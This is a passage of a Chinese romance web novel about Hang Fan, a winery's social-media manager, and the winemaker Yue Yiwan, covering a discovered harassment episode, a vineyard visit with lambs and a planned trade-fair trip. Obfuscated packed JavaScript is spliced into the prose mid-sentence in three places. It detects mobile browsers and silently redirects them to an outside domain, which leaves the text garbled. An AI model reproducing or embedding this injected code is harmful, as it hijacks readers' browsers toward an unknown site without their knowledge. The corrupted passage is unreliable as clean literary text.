杭帆一口水喷出去:“——我知道?我知道什么了?我不知道啊!” “哦,破坏了你心灵的纯洁真是不好意思。但你现在知道了。” 专业人士的脸上毫无波澜。 “我——我他大爷的才不想知道这个!” 憋得通红的脸紧皱成一团,小杭总监大概需要吸点氧才能缓过劲儿来:“苍天大地啊,到底有谁会想要看到这玩意儿?这位神人到底是怎么想的!能接手这台平板的不都是他的同事吗?同事啊!这个世界上最缺乏性张力的关系!图什么?告诉我!TELL ME WHY!” 这批“娱乐大作”的总数多达上百,而杭总监只是不小心看清了其中的一个,就已经尴尬得快要把脚趾挠进地心。 有时候,人与人的脸皮差距,比报纸与城墙的厚度差别还大。 “或许这人就是想要给同事看到?” 白洋只是随口一提,并不具体指向任何人:“大概是一种变相的职场性骚扰行为吧。” 出于某种奇特又轻微的厌恶感,杭帆没有把实况照片里录进了声音的事情告诉白洋,也从未提供过更多的细节描述——他甚至是有意不去提及那个被单方面呼喊了的名字,好像这样做就能暂时地把讨厌的东西给隔绝在外。 可这一瞬间,他突然就一下子全明白过来。 所有那些杭帆没去过多在意的细节——那张令人作呕的实况照片,酿酒师口中“死缠烂打又自我感动”的那个职场爱慕者,被开除的前任驻酒庄媒体运营,因私怨而清空的斯芸官方账号,还有其他那些曾从杭总监的耳边如风般掠过的闲言碎语——全都联系在了一起。 简单,明确,像是在白纸上用黑笔写下答案。 “我操。” 杭帆脱口而出。 “我操,冯越?他是冯越啊!” 极度震惊中,这位前同事的大名就像一块撞向地球的陨石,挟着熊熊天火,重重砸回了杭帆的脑海。 冯越,逢难而越,也是个有着好寓意的名字。 但可惜人不如其名,在单手数得过来的几次碰面里,这人给杭帆留下的印象就只能用极端恶劣来形容:开会迟到,无故早退,不仅频频打断各路同事的发言,还会在别人提出反对意见时当场爆粗。 部门里没人乐意和他共事,此君更是公然放话说在座各位都是废物,配不上他的尊敬——冯越毕业于海外某顶尖艺术院校,师从某位教科书级的广告大鳄,回国之后又在两家4A公司各干了一段时间,履历上的项目各个都金光闪耀得直欲晃瞎人眼。 彼时的杭帆还身在总部。对于冯越这人,究竟是被谁挖角进罗彻斯特集团的,后来又是为什么被踢出了局,其间的种种细节,小杭总监实是一概不知。 那时节,他一年到头都忙到脚不沾地,哪有闲心去长期追踪一桩八卦。 此刻,杭帆已经完全可以猜到整件事情的大致来龙去脉——即便不了解冯越其人在日常生活中的为人处世风格,但他至少很了解岳一宛。 岳一宛这家伙吧,虽然性格有些古怪,但只要不戳中他的逆鳞,平日里待人倒也还算是亲切和蔼。如果能忽略掉这人时不时就要从嘴里掉落几句阴阳怪气台词的毛病,斯芸的首席酿酒师确实是一位很讨人喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449822|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢的俊俏小伙儿。 但这都是建立在大家彼此看得顺眼的前提下。否则,以岳一宛那张淬过毒的嘴,他绝对有能力让人在梦里都体会到何为如坐针毡。 “我可以直说吗?” 白洋冷不丁地插嘴道。 “你对岳一宛的了解之深已经开始让我有点儿害怕了,真的。”他说,“就确认一下,杭小帆,你没有在读他的心,或者偷偷翻看他的日记吧?” 杭帆不屑地斥之为污蔑。 “岳一宛还需要被人读心?他就像一本打开的书一样好懂。还是那种有声书,翻开第一页之后就会开始大声朗读他自己。” 白洋依然觉得有哪里不太对劲。 “嗯……”他试图找到这个怪异感的源头:“但你接受了‘前同事痴迷现同事’这件事的速度是不是也太快了点?正常来说,咱们不是应该先走个大惊小怪一惊一乍的流程吗?” 杭帆疑惑:“天是蓝的,水是湿的,岳一宛会蛊惑人心,这又有什么可值得奇怪?” “……” 这下,连白洋都失去了锐评的力气。 “我只是想不明白,冯越这是在干吗?” 杭帆现在已经很能理解岳一宛的思考回路了,但他也发现自己真是理解不了冯越这人,一点都不能。 “他是想要报复岳一宛?为岳一宛拒绝了他,还把他给踢出了斯芸和罗彻斯特?” 百思不得其解的小杭总监,像是一只被毛线困住而在原地团团打转的猫。 “……总不能是最新型的求偶方式吧?这也太抽象了!” “等一下,杭帆。等一下。” 杭帆正在叽叽咕咕地抱头苦思,另一端的白洋却匆匆打断了他。 说话间,一个戴墨镜的年轻男子已经唐突闯进了视频通话的画面里。他的样貌杭帆并不陌生,这人是白洋在当地合作多年的一位向导兼翻译。 两人交头接耳地嘀咕了几句,白洋神色一凛,当机立断地起身合上了电脑。 他快速拾起了桌上的手机,冲着镜头略一颔首:“计划有变,我们得立刻动身上路。等我有网了再联系你。” “祝你工作顺利,杭帆!再见!” 画面陡然一黑,是白洋那边主动挂掉了视频通话。 交战地区的通讯信号极不稳定。此去一别,不知下一次再与好友接通视频,又得到什么时候了。 杭帆收起自己的手机,兀自摇了摇头,将伤感的情绪自脑中驱走。 既然白洋已经前去赶赴工作现场,那自己也必须得要振奋起精神才行! 小杭总监握了握拳,为自己加油打气。 在天色彻底亮起来前,至少要把手上的这支视频给剪完,最好还能赶在八点半之前发布。 如此这般地一番操作,各位网友或许就能在上班上学的通勤路上刷到这支视频,并在百无聊赖之中点开来稍微看上一看…… 至少,杭帆自己是这么计划的。 “咚咚咚!” 然而计划总是赶不上变化。 “杭帆,起床了!错过这个,我保证你一定肯定确定会后悔的!” 而变化,你的名字叫岳一宛。 18.我的一位朋友 “不来你一定会后悔的”,一听这话,杭帆就知道这绝不是什么好事! 上次岳一宛这么说的时候是凌晨五点,他把杭帆拖去了五十公里外的水库边钓鱼,美其名曰这也是体验当地风土的重要方式。 经过六小时的不断尝试,杭帆终于钓起了一条只有拇指大的小鱼。 他把这悲伤经历剪成了一支酒庄生活小视频,终于收获了接手斯芸官号以来的第一条网友评论:“哈哈,好菜!” 也不知网上的这些钓鱼佬都是闻见什么味儿来的。 再上次——谢天谢地,那是一个接近中午的时间点,杭帆终于睡到了自然醒——刚下完大雨,岳一宛突然兴致勃勃地说要给杭帆进行一场田野教学。 两人深一脚浅一脚地在泥地中步行了半小时,看到的却是农民伯伯们正辛勤地在果树边劳动的场景。 杭帆诚心求教:“请问这是在……?” “施肥啊。” “可这些树都是……?” “你问的是哪边?这边的一片是苹果树,那边的是桃树,哦,我们身后那块是杏子树。” “哦,那请问它们和葡萄与葡萄酒的关系是……?” “替死鬼与正主的关系。” 岳大师面不改色地说着恐怖发言:“葡萄成熟的时候不总会有鸟飞过来偷吃吗?所以各家酒庄都会在葡萄田边上种些果树,诱惑鸟与其他小动物去吃这些更香甜的果子,这样就能让葡萄尽量不被祸害。” 杭帆震惊:“……这是祸水东引啊!” “怎么说话呢?这叫对自然规律的合理利用,属实是人类才会拥有的高级智慧啊。” 岳一宛语重心长地教育小杭同学道:“鸟兽也是葡萄园生态的一部分,贸然驱逐它们,只会破坏自然系统的平衡。葡萄酒中的所谓‘自然动力法’,就是在种植园中巧妙利用生物与生物之间的协作与竞争关系,形成一个积极健康的生态循环,从而在少使用或者不适用化肥的情况下,得到品质更加优秀、更能纯粹地表达当地风土的葡萄……” 酿酒师嘀嘀叨叨地说了好长一串,但后半段已经被杭帆给忘了。 那天的大风呼啸着掠过山头,差点把杭帆连人带相机地掀翻过去。 而再上上次…… 算了,来不及回忆了,岳一宛已经快要把他的门板给敲穿了! “我不出去。” 死气沉沉地拉开宿舍门,小杭总监相当坚决地表明了他的态度:“我刚通完宵,得躺下睡会儿,不然就真的要猝死了。” 岳一宛什么也没说。这狡猾贼人就只是挑眉一笑,向前递过了手里端着的浅口碟。 加入了椰浆与香兰叶的糯米饭,散发出了极富异域风情的甜香。熟透了的芒果,黄澄澄地切成大块,奢侈地围着盘子堆成一圈高高的堡垒。新鲜摘下薄荷叶给摆盘点缀上了一点翠色,让整个盘子都洋溢着度假般悠然怡人的欢乐气息。 识时务者为俊杰,杭帆恭恭敬敬地双手接过了这份豪华的投喂,嘴上也当即改口道:“陛下今日有何安排?微臣必当誓死追随。” 开玩笑,送上门来的饭,不吃的才是傻子。 一边高高兴兴地举起勺子,杭帆还一边点头对自己道:而且我现在也没有很困,补觉这件事嘛,也不是非得现在马上就做不可。他杭总监还年轻着呢,不会真的因为熬了两个月来的第一个大夜就立刻猝死的。 岳一宛奸计得逞,得意洋洋地在门框边一倚,往电脑桌上远远瞟了一眼,问:“什么工作这么着急,还得要你这个新媒体运营总监亲自熬夜赶工不可?” 杭帆呛笑一声,心想如今这世道,总监的头衔可实是不值几个钱。各大企业近年都在追求降本增效,一个员工掰成五个用都尚嫌不够,区区熬夜又算得了什么? 不过,心灵得到了糯米饭抚慰的小杭总监,眼下暂时没有控诉公司的愤慨情绪:“也不是什么很重要的工作,刚刚已经剪完了。” 他叉起一片芒果,含含糊糊地道:“不过做剪辑的时候顺便和朋友网上聊了会儿天,就又稍微耽搁了一下。” 看着杭帆眼下那一小块因熬夜生出淡淡的青灰色,岳一宛不由在心中哼哼:朋友?什么朋友啊,一晚上不睡觉聊到凌晨? 但他嘴里说的却是:“聊这么开心啊?什么话题能聊这么久,连觉都顾不上睡了?” 嘴里衔着芒果块的杭帆,在脑子中光速闪回了一下自己与白洋的聊天话题,表情骤然变得十分微妙。 “别……别问。” 二十多个小时没睡觉,小杭总监的意识主控台现在正处于疲劳过后的抽风状态。他真的很害怕自己的脑子又响起前同事那雄壮又娇柔的声音…… “求你,千万别问。就,别问。” 故作平静地叹了口气,杭帆试图用微笑来掩饰住嘴角的抽搐。 别问? 这话在岳一宛心中留下了一个巨大的问号。他不由稍稍咀嚼了下这句话的意思,又仔细瞧了瞧杭帆:只见此人双眼放空,神色安详而面容皎然,唇边还挂着一点欲说还休的微笑。 酿酒师的心轻轻地皱了起来,像是一颗在酒中浸泡太久的青梅,不自觉地挤压出了酸酸的汁液。他隐约觉得有一些不爽,却又没什么道理地为自己的这份不爽而生出了几分心虚来。 ——成熟点儿吧,Iván。 他听见自己的声音焦虑地在脑海里响起。 ——你不能一天天地就只想着自己,对吧?不然这和你三岁的时候,硬要去抢艾蜜的玩具的行为又有什么区别? 那个嘟嘟哝哝着声音似乎比现在的岳一宛要年轻上许多,咬词吐字的速度也更快更含糊些。 从那故作冷静却又不乏孩子气的腔调里,他听出一丝摇晃着的不安。青春的,惶恐的,不知在渴望何物却又畏惧被渴望之物所拒绝的不安。 “昨晚我在线上问你要不要来吃宵夜。半小时内问了三次,你连理都没有理我!” 这本来应该是一句半真半假的玩笑话。 但在岳一宛走神的瞬间,略显受伤的真实心情已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452714|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自作主张地从他的喉咙里滑落了出去:“但结果,你却是在跟别人聊了一晚上的天?唉,杭帆同志,我得说,你实在是辜负了宵夜对你的一片真心啊!” “啊?昨晚?” 杭帆才是真的丈二和尚摸不着头脑:“你什么时候给我发过消息了?” 两人大眼瞪小眼了好一阵,当事人之一猛然瞪大了眼睛,锵啷一声掉下了手中的勺子。 是的,小杭总监终于想起来了:起因不过是某位总部员工犯下一点小错,Harris又毫不意外地开始借此发起癫来,并公然宣布要开通企业微信的会话存档功能,日后由人事部门定期抽查员工的企业微信对话记录,“以后,再有在上班时间里聊闲天的,一律扣钱处分!” 一石激起千层浪,罗彻斯特酒业的大小工作群里登时骂声四起,滴滴嘟嘟的信息提示音响得如聒噪群鸦般不绝于耳。 远在斯芸酒庄的杭总监正剪素材剪得心浮气躁,干脆直接在企业微信上点了登出——眼不见心不烦,他也不是第一天知道Harris的德行。 “对不起对不起对不起!” 双手合十举过头顶,杭帆满怀歉意地向岳大师深深低头:“真的非常对不起,因为Harris说以后要查所有人的对话记录,气得我昨晚直接登出了账号……不好意思,是没看到你的留言!岳大师能不能代我转告夜宵大神,这次就暂且原谅小的一回吧?” 在键盘上飞快下跪并光速向对面道歉,可谓是当代社会人的一整套丝滑小连招。 跪了,但在心里在大骂对方傻逼;道歉,但一点都不真的感到抱歉。 可在那双漂亮的、像漆黑夜空里闪烁着的远星一样眼睛里,岳一宛意外地发现,杭帆的道歉似乎总是真心的。 这个人从来不为敷衍了事而轻率随意地表示抱歉——认为自己没有做错的时候,杭帆的嘴唇总是抿得像上锁一样紧。 岳一宛见过这样的杭帆,也听到过对方与Harris在电话里对峙时那不卑不亢又据理力争的场面。 可就是这样的杭帆,却会一些再琐碎不过的小小失误(连岳一宛都得承认,他原本确实就只是想要稍微无理取闹一下),诚挚地说出“对不起”。 哎呀,岳一宛偷偷地想。不过一声道歉而已,这是桩多么微不足道的小事啊! 可自己又是为什么会忍不住弯起了眼睛,就好像是有软乎乎又毛茸茸的小猫,正紧紧地贴在心口上一样呢? 臆想中的小猫咪还在岳大师的胸口蹭来蹭去,吃完了豪华早饭的杭总监已经精神抖擞地站了起来。 “就以往的通宵经验而言,”精英社畜的语气中自有一股视死如归的淡定气质:“我可能无法清醒地撑到中午十二点之前。所以,嗯我看看,满打满算,我们应该还有四个小时。” “感觉没问题。我肯定能活着爬回到自己的床上。” 杭帆自信满满地举起了手里的运动相机。他到底是什么时候揣上了这些工作用设备的? “那我们现在就出发?” 19.此为应许之地 在这片和缓起伏着的丘陵上,斯芸酒庄拥有近五十公顷的葡萄种植园。 五十公顷,也即是五十万平方米。对于自幼生活在东南沿海城市的杭帆而言,已然是一个广大到让人彻底失去实际概念的面积。 和所有那些有志于成为世界顶级名庄的酒庄一样,斯芸也在葡萄园里实行着高度精细化的田间管理——按照土壤条件、光照环境等的不同,五十公顷的种植园被仔仔细细地划分成了七百多个小田块,以便人们能更好地照料那些娇贵又坚韧的酿酒葡萄。 七百多个地块,像七百多片拼图一样散落在山陵与丘谷之间,无数条相似又曲折的田间小路,散漫地串联起无数块边界歪斜的田地。 如果路痴的世界里也有迷路专用的地狱,那葡萄园就在最令人绝望的第十八层。 但这些令人迷茫的田块却难不倒岳一宛。 他熟知斯芸的每一块葡萄田,就像是人熟悉自己的十个手指:他只要远远地看上一眼,就能说出任何一块田的编号。即便是在现下这个葡萄藤还没抽芽的日子里,所有的藤条都只是光秃秃皱巴巴的枝条的时候,他也能随口报出它们的品种与年龄,包括在三五年前被种下后又拔掉的那些。 杭帆毫不怀疑,就算给自己一张Excel表格,他在电子表格里检索寻找对应数据的速度,都不可能比岳一宛开口的速度更快。 杭帆不是冯越,他自认与那个精瘦又傲慢的男人毫无相似之处。但他也承认,连冯越那样高傲到不可一世的人都会被岳一宛所折撼的原因,自己也并非是无法理解: 酒庄和葡萄园,这里就是岳一宛的应许之地。 行走在这片土地上的时候,他的步履轻敏,对自己所选择的方向与道路都充满了一种无需诉诸于语言的自信。斯芸的首席酿酒师无需向人描述他对自己的职业所怀抱着的激情,任何长眼睛的人都能一目了然地从他身上看到这点。这种独特而又令人目眩神迷的气氛,就像是主角走上舞台时的那令万众屏息的一瞬。 “嗯?怎么突然不说话了?我还以为你至少得反驳一两句呢。” 走在斜前方半米的距离上,岳一宛突然回过头来,噙笑的眉眼像是一个藏着糖果的陷阱。 我在想自己是不是应该把冯越留下的那些照片告诉你。杭帆业已脱缰的大脑正疯疯癫癫地犯着嘀咕。 因为不管是求爱还是报复亦或是别的什么高深目的,说到底,冯越的行为都是围绕着“岳一宛”这个名字打转的。 理性在杭总监的脑子里左右互搏,一边在说当事人最基本的知情权应该得到尊重,一边又在说但冯越不就是想借助别人的手完成性骚扰行动的最后一环吗。与此同时,杭帆的感性正扶着脑海里幻想之墙大声干呕,嘶吼说这种事情如果发生在我自己身上,还是永远都别告诉我比较好。 “我在想你到底要带我去哪。” 嘴篡了大脑的位,杭总监也不知自己到底在说什么胡话:“这条路我们以前是不是走过?是路边有池塘的那个方向?” 名师未必出高徒,岳一宛也救不了真路痴。 斯芸的首席酿酒师仰天长叹,一记爆栗弹在了杭帆的脑门上:“你这么路痴,就不怕我把你带去菜市场卖掉?论斤称!” “我相信法治社会。”杭帆答非所问,“说起来,你见过视频网站上的那些职业屠夫没有?分猪肉可是一项技术含量很高的重体力活儿。我有将近七十公斤呢,你行吗?” 这人是困得在云上飘了吧?岳一宛冷笑。七十公斤不到,拎一个你也能算是重体力劳动?这小子难不成以为自己挺沉? 这可真是被你给看扁了!回头高低要让你瞧瞧岳大师在健身房里硬拉一百二十公斤的实绩! “喔?是吗?” 某位酿酒师一边在心中磨刀霍霍,一边在脸上露出了阳光灿烂的笑容:“这么有教学意义的视频,下次千万记得分享给我,让我实践实践。” 距离酒庄最边缘的葡萄园大约几百米处,是一大片未经翻整的荒芜坡地。视线越过满是碎石与杂草的山坡,便能远远看见一座依偎在小山包脚下的村庄。 “那边是玉花村。”岳一宛说。 不用抬头,他就是知道杭帆正在看向哪里:“斯芸酒庄的绝大多数葡萄田,都是向玉花村的村民租借来的。” 他们在新修的山路边停下脚步,杭帆立刻麻利地抄起了肩带上挂着的那台单反:长焦镜头像是山鹰锐利的双眼,清晰地为他捕捉到玉花村内部的景象:一座座矮矮的斜顶小屋,就像是一块块憨厚的积木玩具,横七竖八地摆放在山脚下,笨拙又坦诚地展露出了当地特有的质朴风情。 能看出来,玉花村的面积不大,但村中的道路却都是一条条平整宽阔的水泥地面。早春的阳光一照,镜头里的路面无不干净得雪白发亮,如同两排笑出来的大白牙。 “我们是要去玉花村?” 收起单反,杭帆颇有些梦幻般的憧憬——他已经看到了,玉花村里开有好几家农家乐呢,那肯定会有很好吃的当地菜色吧? 岳大师无情地翘起嘴角:“才不。” 他伸出食指,对着旁边那人的脑袋瓜子就是一通狂戳:“现在看着觉得挺近,是不?真走过去,一来一回就是几个钟头。你行吗?” “望山跑死马啊,杭总监。” 人啊,贵在有自知之明。走了一大段路,杭总监的困乏劲儿终于上来了,他感觉自己此刻正是回光返照之时,莽撞地挑战徒步越野只会加速走向猝死。 “对不起,我不行。”杭帆说,“那我们到底是来干吗的?你不会真的要把我带去卖了吧?” 他深深闭上眼,把刚刚看到的“招牌菜”三个字从脑子里赶走,并严厉告诫自己的嘴:管好你自己,不要在岳一宛面前说出更多的蠢话了! 但显然,嘴总是有它自己的想法:“要是没有我,以后在酒庄里,还有哪个好心人会来给岳大师择菜洗碗、叠被铺床……” “哦? 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他大大地张开胳膊,准备给两位好同事一个热情的拥抱。结果他的手都还没碰到杭帆,岳一宛就已经无情地拍开了他的胳膊。 “不。我们不是来等你的。” 斯芸的首席酿酒师冷酷做答:“我们在等羊。” 羊?杭帆心想,什么羊?为什么酒庄会有羊? 但他没问,因为卡车的货箱闸门已经打开了。 四五只咩咩叫唤着的小羊羔们,像从流水线上滚落的几朵巨大棉花糖那样,你挤着我,我推着你,稀里哗啦地从卡车货箱里跑了出来。 杭帆目瞪口呆地看着面前的场景,一时间都忘记了自己手里的运动相机还在录像。 这几只小羊羔,与“绵软可爱”与“蓬松洁白”等形容词完全沾不上边——事实上,它们根本就是一群邪恶的卷毛小猛兽,成群结队地到处横冲直撞,把Antonio撵得哇哇大叫着满地跑。 三秒钟之后,小杭总监当机立断的举起了运动相机。 对不起了Antonio,他在心中默默合掌,你被羊霸凌的样子实在太过搞笑,斯芸这个月的账号浏览量可就全靠你了。 “这也是‘自然动力法’的一部分。” 岳一宛说着,随手比划了一个圆环:“羊在葡萄园里吃草,同时也在葡萄园里产生粪便。而羊粪不仅能够提供适当的肥力,还能有效地改善土壤质量,令田地不会因长期种植葡萄而枯竭。”他的解说总是来得恰到好处。 身为斯芸的首席酿酒师,岳一宛熟知这间酒庄的每一件小事,就好像这片土地本身就是一册由他亲手编写的葡萄酒教科书。书上的每一行字,葡萄园里的每一个角落,没有人比斯芸的首席酿酒师更适合为它们做注解。 如果能直接在视频里用你的声音就好了。 杭帆在心中感叹。 直到对上了岳一宛的疑问眼神,他才发觉自己已在无意间将心声脱口而出。 20.如果你能被听见 “原来我不止是‘看起来’像你的KPI,现在‘听起来’也像是你的KPI了吗?” 岳一宛要笑不笑地问。 “不,那倒也不是这样。” 杭帆是真的太困了,这让他暂时失去了能够捕捉到岳一宛语气中那丝微妙不满的敏锐:“我只是觉得,与任何后期添加的字幕与配音相比,对观众而言,还是你本人的声音会更有说服力一些。” “哈。”首席酿酒师颇不以为然。 “你想说服观众什么?”抽掉了嗓音里的款曲调笑,岳一宛语气平淡得近乎于严厉了:“‘史上最低价,手慢无,所以赶紧下单吧’——是这样的说服吗?那你或许该找个广告专用的配音演员来,他们比我更专业。” 杭帆能感觉到,这个话题显然让岳一宛不太高兴。但他困倦的大脑已经失去了反复斟酌的能力,只能像倾倒存钱罐那样,把真心实意的言辞一股脑儿地全都倒了出来。 “不是那种。”他说。 杭帆的声音有些含混,不像是在和旁人对话,倒像是自己跟自己大声咕囔着什么似的:“推销口号?不行。你不适合说这种话,你那是在推销吗?你那是在挖苦我们所有人。” “但你适合说刚才的那些话,和葡萄园有关的,或者是与酿酒有关的话题。”杭帆喃喃,“在那种话题里,你就连说话时的音色都比平时更加的多彩。” 你的声音,那声音里抑顿扬挫的音节,如糖果般迸发着纯粹欢乐的词句,还有那由激情所驱动的、有如银河里飞驰过旅行列车般梦幻、又长得近乎不见尾的句子。 还有什么样的热忱与信念能与这声音相比呢?就好像葡萄的世界在你眼里有五千六百种不同的奇妙颜色,而我们其他人就只是暂时地看不见这点——而我们终究会看见的,因为你声音已把我从单调无趣的盲目中拉扯出来。 词语铺砌成道路,知识构筑成砖墙,热爱与虔心像风与翅膀一般推着我向前,直到我能用自己的眼睛看见你所看见的事物——看见葡萄斑斓缤纷的色彩,看见杯中酒里贻荡着的万载风月与波光。 在自己的唇齿之间,杭帆努力寻找着合适的词汇。 他其实也没指望过岳一宛能同意自己使用他在素材里录进的原声——但他却想要岳一宛能够明白,“在你全部的那些解说里,在你那些事无巨细的、关于葡萄、风土与酒的讲述中,我在那之中看见了你,我看见一颗赤忱的心。” 在这份炽热的诚意面前,没有任何一个人能够铁石心肠到不被打动。 我希望你的声音能被听见,从而令这份诚挚的热爱被感知——如果,也有人能像我一样,因为被你对葡萄酒的热爱所打动,而开始迈出品尝与理解的第一步的话,终有一天,他们或许也会喝到由你所酿造的那些酒吧? “这对于你来说,算不算是距离‘让每个人都能喜欢上葡萄酒’,‘让每一个人都能品尝到我酿造的酒’的梦想更近了一步呢?” “但你不同意我在视频里使用你原声,这也是很正常的,我能够理解。” 杭帆说,内心里其实并没有什么太大波澜。这只是他自己的真实想法,混杂了一些基于冲动而说出的天真愿景——但这并不意味着岳一宛就非得接受不可。毕竟这家伙本来就看不惯营销嘛。 “我就只是这样稍微想了一想,”杭总监说,“希望你也不要为此而感到为难。” 他真是在太困了。眼睛看到那些终于停下来的小羊羔,杭帆甚至都已经开始把它们幻视成了自己床上的枕头与羽绒被…… 像是过了有一万年那么长(小杭总监都困得快要举着相机原地睡着了),岳一宛欣然开口说道:“你想用的话,那就用吧。” “毕竟,我带你来看小羊,本来就是让你拍工作素材的嘛。”他说,好像这是什么杭帆早该知道的事情似的:“明明有素材却不让你用,那得显得我有多坏啊。” “——啊?” 杭帆简直疑心是自己出现了幻听。 与营销行为势不两立的岳大师,什么时候变得这么好说话了? “你在‘啊’什么,”岳一宛嗤得一声笑了出来,“先前不是你说的?斯芸的官方账号上,点击量最高的一条,竟然是野猫在酒庄门口晒太阳打呼噜的视频。” “猫都可以成为你的KPI,那羊肯定也可以吧!” 岳大师很是为自己的聪明才智而感到得意。 虽不明白此人是从哪里来的自信,但困到脚下都开始摇晃的杭帆,还是认真点了点头。 “那,谢谢你……?” “大恩不言谢。”岳大师叹着气,眼疾手快地扶了杭帆一把:“你还清醒着吗?都快掉到地上去了。” 录够了今日份的酒庄宣传素材,两人转身就要往回走,就听落在后头Antonio,正用他那夹生不熟的中文大叫起来:“Ivan老大!那这些羊要怎么办啊,它们根本就不听我的——哦不!别再撞我了!你们这些小魔鬼!” “你都能撇下老刘独自去开车接羊了,我相信,你一定有能力独自把这些羊都赶进羊圈里去。” 胳膊上架起一只迷迷瞪瞪的杭总监,岳一宛对身后人说话的语气,那叫一个凉凉:“加油吧,Antonio,要相信自己!你已经是一个能独当一面的酿酒师了,怎么会连葡萄园里的羊都驾驭不了呢?” “师父!Ivan,老大!我错了!” 试图把羊扛起来带走的Antonio,反又被邪恶卷毛们追得满地跑。 他一边发出了意大利式的鬼哭狼嚎,一边狂飙着他那洋泾浜中文:“我再也不因为好玩儿就扔下老刘他们自己去干这些事了!我发誓,我对着上帝、哦不对,我对着观世音菩萨发誓!” 斯芸的首席酿酒师已经走出几十米远了,闻言只不耐烦地嘘他,“笨蛋吗你?去借条狗来!还有,今天记得查看发酵罐的情况,我下午要看到你的工作报告!” 一边说,他还一边把杭帆又往自己的怀里揽了揽——三个多小时前还在宣称“能活着回到自己床上”的那个人,这会儿已经呼吸平缓地睡着了。 切成大方块的五花肉已经在锅中炒出了糖色,加入佐料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466469|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、香叶与滚水,再盖上砂锅的锅盖,愉快的炖煮过程就开始了。 ——好想死。好羞耻。 一言不发地接过岳一宛递来的半碟蒜片,杭帆熟练地往新支起的炒锅里倒入了菜籽油。 ——我上午到底都说了些什么啊?在岳一宛面前搞抒情演讲吗我? 小火苗舔舐着锅底,粘稠汤汁咕嘟咕嘟地冒起了泡。杭帆把百叶结扔进砂锅里,又把炒好的苋菜盛入盘中。 ——而且,我为什么不记得走回到酒庄的这段路上发生了什么……我到底是怎么回到自己房间的? 听到装盘的响动,刚才还坐在料理岛台边翻看最新一期葡萄酒杂志的岳一宛也站起身来。冰桶中的酒还剩一半(另一半已经被今晚要看球赛的Antonio给倒走了,他还溜进厨房里加热了两张速冻披萨),刚好够他们两人今晚配餐小酌的份量。就连酒杯也已经被提前冰镇过,以确保倒出来的酒液能在暖气室内也处于最佳适饮温度。 “果然,人不可貌相。” 等岳一宛帮忙把菜全部端上桌之后,这人坐下后的第一句话就让杭帆大感不妙。 只见酿酒师笑眯眯地托起侧脸,拿捏着故作惊讶的腔调道:“杭总监虽然工作艰巨,私下里却是童心未泯,哎呀,这可真是让人意外。” 哦,这估摸着就是在评价杭帆床上的那几只巨大毛绒玩具了。 小杭总监拈着筷子,竭力遏制着头顶冒出的蒸汽。 “酒庄不让在宿舍里养宠物,”作为成年人,他力图用最轻描淡写的句子来掀过这一页:“那我养几只毛绒玩具代替一下也很正常吧。” “嗯,嗯,正常正常。”岳一宛意味深长地笑:“杭总监的床,是咱们斯芸酒庄里的一块毛绒鸭嘴兽自然保护区啊。” 这混蛋也看得太仔细了吧?!不要随意窥伺同事的隐私啊! 杭帆的私人小爱好惨遭曝光,窘迫绯红立刻从脸颊上一路烧进脖根,滚烫耳垂更是艳丽得像是要滴出血来。 摆出一副穷凶极恶的模样,杭总监威慑道:“你要是再多说一个字,我就把葡萄园的田鼠抓来放进你的房间。” 曾自诉说最讨厌老鼠的酿酒师大惊失色:“……恶!杭帆!你这可太歹毒了!” 晚餐时间过去了一半,岳一宛似乎始终都没有要对杭帆白日里的那番梦呓发言进行更多“探讨”的样子,这让小杭总监逐渐放下心来。 太好了,他心想,让我也赶紧忘掉自己说过的那些大话…… “杭帆。” 毫无预兆地,岳一宛突然问他:“今年的春季糖酒会,你……要不要和我一起去?” 今年?春季?糖酒会? 杭总监抬起头,眼睛里写满了清澈的茫然。 “呃……什么是糖酒会?” “哎呀,这不重要。” 岳大师脸带诡笑地斜靠在椅背上,那副愉快摇动手中高脚杯的姿势,活像章鱼大巫师在用触手搅拌他的魔药。 “重要的是,杭总监,我在邀请您和我一起去出差呀。赏个脸呗?” 21.万米高空之上 糖酒会,也即“全国糖酒商品交易会”,在每年的春季与秋季各举办一次。 与全国各地城市轮流巡办的秋季糖酒会不同,每年的春季糖酒会都固定在成都市举办。 被亲切地简称为“成都春糖”的这门会事,是世界范围内规模最大、影响力最广的酒类商品交易展会之一。 以上内容,是杭帆经由在搜索引擎与社交媒体平台上的检索而得的初步结论。 但这仍然只是个空泛的概念。 我们去糖酒会到底要做点什么?杭帆对此仍然毫无头绪。 “Ivan老大!等等我啊老大!” 出发前往成都的那天下午,Antonio眼巴巴地跟在岳一宛与杭帆身后,从员工宿舍区域开始,一直跟到了酒庄大门口。 “你们就这样走了吗?”他可怜兮兮地问,“不考虑也带上我一起吗?” 